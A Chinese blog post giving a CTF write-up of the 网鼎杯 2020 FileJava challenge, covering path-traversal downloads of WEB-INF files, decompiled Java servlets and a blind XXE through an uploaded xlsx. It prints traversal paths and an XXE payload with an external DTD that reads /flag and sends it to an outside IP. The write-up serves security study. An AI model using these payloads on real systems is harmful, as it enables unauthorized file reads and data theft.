再遇java无回显XXE

来自:[网鼎杯 2020青龙组]FileJava

hgame遇到一个无回显XXE,这次找java题恰好又找到一个,虽然是四年前的题,但思路大差不差,都是传dtd文件,然后反弹shell,那么重点我们就来看代码审计部分。

进入发现是一个文件上传:

随便传一个文件看看:

给了一个下载地址,访问试试:

能直接下载下来,抓个包看看:

可以发现这个路由有个filename的参数,很自然我们想到任意文件下载漏洞,../../../试试:

被删掉了。

读flag有waf,意料之中。确实也不可能这么简单就读出来了,应该是另有玄机的。接下来轻车熟路去访问web.xml,看看能不能拿到配置:

?filename=../../../../WEB-INF/web.xml

出不了就多套几层目录穿越。

根据配置信息,把class文件一个个读下来:

../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

拿去反编译,可以用JADX,也可以用IDEA。

这里黑名单看的很清楚:

在UploadServlet.class处发现一个报错:

这里的XML解析是有点问题吗?

熟悉java代码审计的师傅,应该很快反应过来了xxe漏洞主要看加载包,函数名。像如下关键接口:

XMLReader

SAXBuilder

SAXReader

SAXParserFactory

Digester

DocumentBuilderFactory

这些都是有说法的,详见网鼎杯2020青龙组——filejava通关思路_[网鼎杯 2020 青龙组]filejava-CSDN博客

我们这里分析负责上传和负责下载的类:

//DownloadServlet.class
//...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename"); fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8"); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag")) { request.setAttribute("message", "禁止读取"); request.getRequestDispatcher("/message.jsp").forward(request, response); } else { String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload"); String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File(path + "/" + fileName); if (!file.exists()) { request.setAttribute("message", "您要下载的资源已被删除!"); request.getRequestDispatcher("/message.jsp").forward(request, response); } else { String realname = fileName.substring(fileName.indexOf("_") + 1); response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8")); FileInputStream in = new FileInputStream(path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte[] buffer = new byte[1024]; int len = false; int len; while((len = in.read(buffer)) > 0) { out.write(buffer, 0, len); } in.close(); out.close(); } }
//...

除了不让读flag,就没有什么限制了。

//UploadServlet.class
//...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
        String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
        File tempFile = new File(tempPath);
        if (!tempFile.exists()) {
            tempFile.mkdir();
        }

        String message = "";

        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(tempFile);
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(1048576L);
            upload.setSizeMax(10485760L);
            if (!ServletFileUpload.isMultipartContent(request)) {
                return;
            }

            List<FileItem> list = upload.parseRequest(request);
            Iterator var10 = list.iterator();

            label56:
            while(true) {
                while(true) {
                    if (!var10.hasNext()) {
                        break label56;
                    }

                    FileItem fileItem = (FileItem)var10.next();
                    String filename;
                    String fileExtName;
                    if (fileItem.isFormField()) {
                        filename = fileItem.getFieldName();
                        fileExtName = fileItem.getString("UTF-8");
                    } else {
                        filename = fileItem.getName();
                        if (filename != null && !filename.trim().equals("")) {
                            fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                            InputStream in = fileItem.getInputStream();
                            if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                                try {
                                    Workbook wb1 = WorkbookFactory.create(in);
                                    Sheet sheet = wb1.getSheetAt(0);
                                    System.out.println(sheet.getFirstRowNum());
                                } catch (InvalidFormatException var20) {
                                    System.err.println("poi-ooxml-3.10 has something wrong");
                                    var20.printStackTrace();
                                }
                            }

                            String saveFilename = this.makeFileName(filename);
                            request.setAttribute("saveFilename", saveFilename);
                            request.setAttribute("filename", filename);
                            String realSavePath = this.makePath(saveFilename, savePath);
                            FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
                            byte[] buffer = new byte[1024];
                            int len = false;

                            int len;
                            while((len = in.read(buffer)) > 0) {
                                out.write(buffer, 0, len);
                            }

                            in.close();
                            out.close();
                            message = "文件上传成功!";
                        }
                    }
                }
            }
        } catch (FileUploadException var21) {
            var21.printStackTrace();
        }

        request.setAttribute("message", message);
        request.getRequestDispatcher("/ListFileServlet").forward(request, response);
    }
//...

尤其是:

这里

对文件项列表进行迭代,如果文件项是一个普通的表单字段,那么获取字段名和字段值;如果文件项是一个文件,那么获取文件名和文件输入流。

如果文件名以"excel-"开头并且文件扩展名为"xlsx",那么使用Apache POI库读取Excel文件并打印第一个工作表的第一行的行号。

很难不想到无回显XXE,事实上也的确如此。

那么我们的思路就有了,让系统访问我们构造的恶意XXE代码,从而执行命令。

首先我们要知道xlsx本质上也是一个压缩包文件,word的docx文件等亦是如此,对这些文件binwalk过的师傅应该也都知道,里面会有一些XML存在,而这个XML就给我们提供了写XXE代码的跳板。

 

所以我们的绕过方法就是:

先新建一个excel-eddiemurphy.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx,上传。

XXE代码:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://8.140.251.152:80/file.dtd">
%remote;%int;%send;
]>

服务器上挂上file.dtd文件:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://8.140.251.152:1234?p=%file;'>">

上述这种是外带flag直接读,不知道还有没有用这个反弹shell的方法

添加这个XXE代码,ip是等下vps起的http服务的ip,可以默认80,也可以选一个端口:

vps上挂file.dtd,ip是等下可以nc的ip:

传完excel-eddiemurphy.xlsx后等一会就有回显了:

NSSCTF{c9472a22-febf-4071-8e84-5816b182250f}

 

参考:

BUUCTF WEB filejava_buuctf filejava-CSDN博客

网鼎杯2020青龙组——filejava通关思路_[网鼎杯 2020 青龙组]filejava-CSDN博客

posted @ 2024-03-17 17:57  Eddie_Murphy  阅读(69)  评论(0编辑  收藏  举报